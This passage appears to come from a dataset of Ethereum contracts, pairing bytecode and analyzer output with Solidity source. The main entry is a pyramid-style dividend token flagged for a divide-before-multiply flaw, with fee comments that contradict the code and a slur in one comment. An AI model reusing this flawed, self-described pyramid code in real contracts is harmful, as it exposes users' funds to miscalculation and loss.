5151515815260200191505060405180910390f35b34156103a257600080fd5b6103aa610a39565b005b34156103b757600080fd5b610402600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ae8565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104ae5780601f10610483576101008083540402835291602001916104ae565b820191906000526020600020905b81548152906001019060200180831161049157829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156105fd57600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561068857600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b60006020528060005260406000206000915090505481565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108db5780601f106108b0576101008083540402835291602001916108db565b820191906000526020600020905b8154815290600101906020018083116108be57829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561093257600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6004546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040518082815260200191505060405180910390a3565b60056020528160005260406000206020528060005260406000206000915091505054815600a165627a7a7230582009f0bd894a8bc6bb8ade842ecb94df5b0a45da9ad74919fe6107081329ea6c540029
{"success": true, "error": null, "results": {}}
2,577
0xe8ad5335f81d1cb11514f4255e327812778cdd5e
pragma solidity ^0.4.20; /* * TEST OF YA BOI GRIPZ * */ contract Griptest { /*================================= = MODIFIERS = =================================*/ /// @dev Only people with tokens modifier onlyBagholders { require(myTokens() > 0); _; } /// @dev Only people with profits modifier onlyStronghands { require(myDividends(true) > 0); _; } /*============================== = EVENTS = ==============================*/ event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy, uint timestamp, uint256 price ); event onTokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned, uint timestamp, uint256 price ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); // ERC20 event Transfer( address indexed from, address indexed to, uint256 tokens ); /*===================================== = CONFIGURABLES = =====================================*/ string public name = "Griptest"; string public symbol = "GRIPT"; uint8 constant public decimals = 18; /// @dev 15% dividends for token purchase uint8 constant internal entryFee_ = 20; /// @dev 10% dividends for token transfer uint8 constant internal transferFee_ = 10; /// @dev 25% dividends for token selling uint8 constant internal exitFee_ = 25; /// @dev 35% of entryFee_ (i.e. 7% dividends) is given to referrer uint8 constant internal refferalFee_ = 35; uint256 constant internal tokenPriceInitial_ = 0.0000001 ether; uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether; uint256 constant internal magnitude = 2 ** 64; /// @dev proof of stake (defaults at 50 tokens) uint256 public stakingRequirement = 50e18; /*================================= = DATASETS = ================================*/ // amount of shares for each address (scaled number) mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => uint256) internal referralBalance_; mapping(address => int256) internal payoutsTo_; uint256 internal tokenSupply_; uint256 internal profitPerShare_; /*======================================= = PUBLIC FUNCTIONS = =======================================*/ /// @dev Converts all incoming ethereum to tokens for the caller, and passes down the referral addy (if any) function buy(address _referredBy) public payable returns (uint256) { purchaseTokens(msg.value, _referredBy); } /** * @dev Fallback function to handle ethereum that was send straight to the contract * Unfortunately we cannot use a referral address this way. */ function() payable public { purchaseTokens(msg.value, 0x0); } /// @dev Converts all of caller's dividends to tokens. function reinvest() onlyStronghands public { // fetch dividends uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code // pay out the dividends virtually address _customerAddress = msg.sender; payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // retrieve ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // dispatch a buy order with the virtualized "withdrawn dividends" uint256 _tokens = purchaseTokens(_dividends, 0x0); // fire event onReinvestment(_customerAddress, _dividends, _tokens); } /// @dev Alias of sell() and withdraw(). function exit() public { // get token count for caller & sell them all address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if (_tokens > 0) sell(_tokens); // lambo delivery service withdraw(); } /// @dev Withdraws all of the callers earnings. function withdraw() onlyStronghands public { // setup data address _customerAddress = msg.sender; uint256 _dividends = myDividends(false); // get ref. bonus later in the code // update dividend tracker payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // add ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // lambo delivery service _customerAddress.transfer(_dividends); // fire event onWithdraw(_customerAddress, _dividends); } /// @dev Liquifies tokens to ethereum. function sell(uint256 _amountOfTokens) onlyBagholders public { // setup data address _customerAddress = msg.sender; // russian hackers BTFO require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); // burn the sold tokens tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); // update dividends tracker int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude)); payoutsTo_[_customerAddress] -= _updatedPayouts; // dividing by zero is a bad idea if (tokenSupply_ > 0) { // update the amount of dividends per token profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); } // fire event onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice()); } /** * @dev Transfer tokens from the caller to a new holder. * Remember, there's a 15% fee here as well. */ function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) { // setup address _customerAddress = msg.sender; // make sure we have the requested tokens require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); // withdraw all outstanding dividends first if (myDividends(true) > 0) { withdraw(); } // liquify 10% of the tokens that are transfered // these are dispersed to shareholders uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100); uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee); uint256 _dividends = tokensToEthereum_(_tokenFee); // burn the fee tokens tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee); // exchange tokens tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens); // update dividend trackers payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens); payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens); // disperse dividends among holders profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); // fire event Transfer(_customerAddress, _toAddress, _taxedTokens); // ERC20 return true; } /*===================================== = HELPERS AND CALCULATORS = =====================================*/ /** * @dev Method to view the current Ethereum stored in the contract * Example: totalEthereumBalance() */ function totalEthereumBalance() public view returns (uint256) { return this.balance; } /// @dev Retrieve the total token supply. function totalSupply() public view returns (uint256) { return tokenSupply_; } /// @dev Retrieve the tokens owned by the caller. function myTokens() public view returns (uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } /** * @dev Retrieve the dividends owned by the caller. * If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations. * The reason for this, is that in the frontend, we will want to get the total divs (global + ref) * But in the internal calculations, we want them separate. */ function myDividends(bool _includeReferralBonus) public view returns (uint256) { address _customerAddress = msg.sender; return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ; } /// @dev Retrieve the token balance of any single address. function balanceOf(address _customerAddress) public view returns (uint256) { return tokenBalanceLedger_[_customerAddress]; } /// @dev Retrieve the dividend balance of any single address. function dividendsOf(address _customerAddress) public view returns (uint256) { return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } /// @dev Return the sell price of 1 individual token. function sellPrice() public view returns (uint256) { // our calculation relies on the token supply, so we need supply. Doh. if (tokenSupply_ == 0) { return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } } /// @dev Return the buy price of 1 individual token. function buyPrice() public view returns (uint256) { // our calculation relies on the token supply, so we need supply. Doh. if (tokenSupply_ == 0) { return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100); uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends); return _taxedEthereum; } } /// @dev Function for the frontend to dynamically retrieve the price scaling of buy orders. function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) { uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); return _amountOfTokens; } /// @dev Function for the frontend to dynamically retrieve the price scaling of sell orders. function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } /*========================================== = INTERNAL FUNCTIONS = ==========================================*/ /// @dev Internal function to actually purchase the tokens. function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) { // data setup address _customerAddress = msg.sender; uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100); uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100); uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus); uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); uint256 _fee = _dividends * magnitude; // no point in continuing execution if OP is a poorfag russian hacker // prevents overflow in the case that the pyramid somehow magically starts being used by everyone in the world // (or hackers) // and yes we know that the safemath function automatically rules out the "greater then" equasion. require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_); // is the user referred by a masternode? if ( // is this a referred purchase? _referredBy != 0x0000000000000000000000000000000000000000 && // no cheating! _referredBy != _customerAddress && // does the referrer have at least X whole tokens? // i.e is the referrer a godly chad masternode tokenBalanceLedger_[_referredBy] >= stakingRequirement ) { // wealth redistribution referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus); } else { // no ref purchase // add the referral bonus back to the global dividends cake _dividends = SafeMath.add(_dividends, _referralBonus); _fee = _dividends * magnitude; } // we can't give people infinite ethereum if (tokenSupply_ > 0) { // add tokens to the pool tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); // take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder profitPerShare_ += (_dividends * magnitude / tokenSupply_); // calculate the amount of tokens the customer receives over his purchase _fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_))); } else { // add tokens to the pool tokenSupply_ = _amountOfTokens; } // update circulating supply & the ledger address for the customer tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens); // Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them; // really i know you think you do but you don't int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee); payoutsTo_[_customerAddress] += _updatedPayouts; // fire event onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice()); return _amountOfTokens; } /** * @dev Calculate Token price based on an amount of incoming ethereum * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) { uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; uint256 _tokensReceived = ( ( // underflow attempts BTFO SafeMath.sub( (sqrt ( (_tokenPriceInitial ** 2) + (2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18)) + ((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2)) + (2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_) ) ), _tokenPriceInitial ) ) / (tokenPriceIncremental_) ) - (tokenSupply_); return _tokensReceived; } /** * @dev Calculate token sell value. * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) { uint256 tokens_ = (_tokens + 1e18); uint256 _tokenSupply = (tokenSupply_ + 1e18); uint256 _etherReceived = ( // underflow attempts BTFO SafeMath.sub( ( ( ( tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18)) ) - tokenPriceIncremental_ ) * (tokens_ - 1e18) ), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2 ) / 1e18); return _etherReceived; } /// @dev This is where all your gas goes. function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
0x608060405260043610610111576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806265318b1461011f57806306fdde031461017657806310d0ffdd1461020657806318160ddd146102475780632260937314610272578063313ce567146102b35780633ccfd60b146102e45780634b750334146102fb57806356d399e814610326578063688abbf7146103515780636b2f46321461039457806370a08231146103bf5780638620410b14610416578063949e8acd1461044157806395d89b411461046c578063a9059cbb146104fc578063e4849b3214610561578063e9fad8ee1461058e578063f088d547146105a5578063fdb5a03e146105ef575b61011c346000610606565b50005b34801561012b57600080fd5b50610160600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109f4565b6040518082815260200191505060405180910390f35b34801561018257600080fd5b5061018b610a96565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101cb5780820151818401526020810190506101b0565b50505050905090810190601f1680156101f85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561021257600080fd5b5061023160048036038101908080359060200190929190505050610b34565b6040518082815260200191505060405180910390f35b34801561025357600080fd5b5061025c610b76565b6040518082815260200191505060405180910390f35b34801561027e57600080fd5b5061029d60048036038101908080359060200190929190505050610b80565b6040518082815260200191505060405180910390f35b3480156102bf57600080fd5b506102c8610bd3565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102f057600080fd5b506102f9610bd8565b005b34801561030757600080fd5b50610310610d7c565b6040518082815260200191505060405180910390f35b34801561033257600080fd5b5061033b610de4565b6040518082815260200191505060405180910390f35b34801561035d57600080fd5b5061037e600480360381019080803515159060200190929190505050610dea565b6040518082815260200191505060405180910390f35b3480156103a057600080fd5b506103a9610e56565b6040518082815260200191505060405180910390f35b3480156103cb57600080fd5b50610400600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e75565b6040518082815260200191505060405180910390f35b34801561042257600080fd5b5061042b610ebe565b6040518082815260200191505060405180910390f35b34801561044d57600080fd5b50610456610f26565b6040518082815260200191505060405180910390f35b34801561047857600080fd5b50610481610f3b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104c15780820151818401526020810190506104a6565b50505050905090810190601f1680156104ee5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050857600080fd5b50610547600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fd9565b604051808215151515815260200191505060405180910390f35b34801561056d57600080fd5b5061058c600480360381019080803590602001909291905050506112fc565b005b34801561059a57600080fd5b506105a361154b565b005b6105d9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115b2565b6040518082815260200191505060405180910390f35b3480156105fb57600080fd5b506106046115c4565b005b600080600080600080600080600033975061062f6106288c601460ff16611738565b6064611773565b965061064961064288602360ff16611738565b6064611773565b9550610655878761178e565b94506106618b8861178e565b935061066c846117a7565b92506801000000000000000085029150600083118015610698575060065461069684600654611834565b115b15156106a357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff161415801561070c57508773ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff1614155b80156107595750600254600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b156107ef576107a7600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205487611834565b600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061080a565b6107f98587611834565b945068010000000000000000850291505b600060065411156108755761082160065484611834565b60068190555060065468010000000000000000860281151561083f57fe5b0460076000828254019250508190555060065468010000000000000000860281151561086757fe5b04830282038203915061087d565b826006819055505b6108c6600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611834565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081836007540203905080600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508973ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167f8032875b28d82ddbd303a9e4e5529d047a14ecb6290f80012a81b7e6227ff1ab8d86426109b9610ebe565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390a3829850505050505050505092915050565b600068010000000000000000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546007540203811515610a8e57fe5b049050919050565b60008054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b2c5780601f10610b0157610100808354040283529160200191610b2c565b820191906000526020600020905b815481529060010190602001808311610b0f57829003601f168201915b505050505081565b600080600080610b52610b4b86601460ff16611738565b6064611773565b9250610b5e858461178e565b9150610b69826117a7565b9050809350505050919050565b6000600654905090565b6000806000806006548511151515610b9757600080fd5b610ba085611852565b9250610bba610bb384601960ff16611738565b6064611773565b9150610bc6838361178e565b9050809350505050919050565b601281565b6000806000610be76001610dea565b111515610bf357600080fd5b339150610c006000610dea565b9050680100000000000000008102600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054810190506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610d29573d6000803e3d6000fd5b508173ffffffffffffffffffffffffffffffffffffffff167fccad973dcd043c7d680389db4378bd6b9775db7124092e9e0422c9e46d7985dc826040518082815260200191505060405180910390a25050565b60008060008060006006541415610da1576402540be40064174876e800039350610dde565b610db2670de0b6b3a7640000611852565b9250610dcc610dc584601960ff16611738565b6064611773565b9150610dd8838361178e565b90508093505b50505090565b60025481565b60008033905082610e0357610dfe816109f4565b610e4e565b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e4c826109f4565b015b915050919050565b60003073ffffffffffffffffffffffffffffffffffffffff1631905090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060008060006006541415610ee3576402540be40064174876e800019350610f20565b610ef4670de0b6b3a7640000611852565b9250610f0e610f0784601460ff16611738565b6064611773565b9150610f1a8383611834565b90508093505b50505090565b600080339050610f3581610e75565b91505090565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610fd15780601f10610fa657610100808354040283529160200191610fd1565b820191906000526020600020905b815481529060010190602001808311610fb457829003601f168201915b505050505081565b600080600080600080610fea610f26565b111515610ff657600080fd5b339350600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054861115151561104757600080fd5b60006110536001610dea565b111561106257611061610bd8565b5b61107a61107387600a60ff16611738565b6064611773565b9250611086868461178e565b915061109183611852565b905061109f6006548461178e565b6006819055506110ee600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548761178e565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061117a600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611834565b600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508560075402600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508160075402600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555061128360075460065468010000000000000000840281151561127d57fe5b04611834565b6007819055508673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600194505050505092915050565b600080600080600080600061130f610f26565b11151561131b57600080fd5b339550600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054871115151561136c57600080fd5b86945061137885611852565b935061139261138b85601960ff16611738565b6064611773565b925061139e848461178e565b91506113ac6006548661178e565b6006819055506113fb600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548661178e565b600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550680100000000000000008202856007540201905080600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550600060065411156114d5576114ce6007546006546801000000000000000086028115156114c857fe5b04611834565b6007819055505b8573ffffffffffffffffffffffffffffffffffffffff167f8d3a0130073dbd54ab6ac632c05946df540553d3b514c9f8165b4ab7f2b1805e868442611518610ebe565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390a250505050505050565b600080339150600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008111156115a6576115a5816112fc565b5b6115ae610bd8565b5050565b60006115be3483610606565b50919050565b6000806000806115d46001610dea565b1115156115e057600080fd5b6115ea6000610dea565b9250339150680100000000000000008302600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054830192506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116db836000610606565b90508173ffffffffffffffffffffffffffffffffffffffff167fbe339fc14b041c2b0e0f3dd2cd325d0c3668b78378001e53160eab36153264588483604051808381526020018281526020019250505060405180910390a2505050565b600080600084141561174d576000915061176c565b828402905082848281151561175e57fe5b0414151561176857fe5b8091505b5092915050565b600080828481151561178157fe5b0490508091505092915050565b600082821115151561179c57fe5b818303905092915050565b6000806000670de0b6b3a764000064174876e8000291506006546402540be40061181d611817600654866402540be400600202020260026006540a60026402540be4000a02670de0b6b3a76400008a02670de0b6b3a76400006402540be40002600202026002890a0101016118fd565b8561178e565b81151561182657fe5b040390508092505050919050565b600080828401905083811015151561184857fe5b8091505092915050565b600080600080670de0b6b3a764000085019250670de0b6b3a7640000600654019150670de0b6b3a76400006118e6670de0b6b3a764000085036402540be400670de0b6b3a7640000868115156118a457fe5b046402540be4000264174876e8000103026002670de0b6b3a7640000876002890a038115156118cf57fe5b046402540be400028115156118e057fe5b0461178e565b8115156118ef57fe5b049050809350505050919050565b60008060026001840181151561190f57fe5b0490508291505b8181101561194257809150600281828581151561192f57fe5b040181151561193a57fe5b049050611916565b509190505600a165627a7a72305820114097e6bd6783f4c177e4725b00a0688116dbdbd3e41d90a90626be1129da820029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
2,578
0x96fa6258f9c642d94c3c19cd2978233e3d92a2d1
//Telegram: https://t.me/loongeth //Twitter: https://twitter.com/loongeth //WebSite: https://loong.finance/ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private 